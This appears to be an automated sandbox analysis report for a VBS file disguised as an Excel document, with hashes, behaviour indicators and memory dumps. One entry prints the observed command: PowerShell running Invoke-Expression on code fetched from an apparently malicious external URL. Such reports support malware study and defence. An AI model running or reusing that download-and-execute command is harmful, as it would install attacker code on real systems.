ba8f84fdc1678e133ad265e357e99dba7031872371d444e84d6a47a022914de9

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
15-03-2024 01:27

Target

15032024_0927_EXCEL_OPEN_DOC.vbs
Size

14KB
MD5

e9da2f1fbf627a05811cf294a1136a64
SHA1

792924ff455d06257c226f7f276d8776389b0b5a
SHA256

ba8f84fdc1678e133ad265e357e99dba7031872371d444e84d6a47a022914de9
SHA512

150c1f8cb56e500d9459c05ec17908134a2e52b2e3e229c8e85eaac6b7985e788765c60a11984452456176e95f4d0b0242dfd69f84b94f101a68ddec470438c7
SSDEEP

192:YMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN6U5UTUBUF:jy19gR3IquNgzG2oNdOdEpeeqlPk

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 2976	2964	WScript.exe	28
PID 2964 wrote to memory of 2976	2964	WScript.exe	28
PID 2964 wrote to memory of 2976	2964	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\15032024_0927_EXCEL_OPEN_DOC.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'nextroundst.com/kqcmvqtj')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2976-4-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2976-5-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2976-6-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2976-7-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Filesize
512KB

Download
memory/2976-8-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Filesize
512KB

Download
memory/2976-9-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Filesize
512KB

Download
memory/2976-10-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Filesize
512KB

Download
memory/2976-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2976-12-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download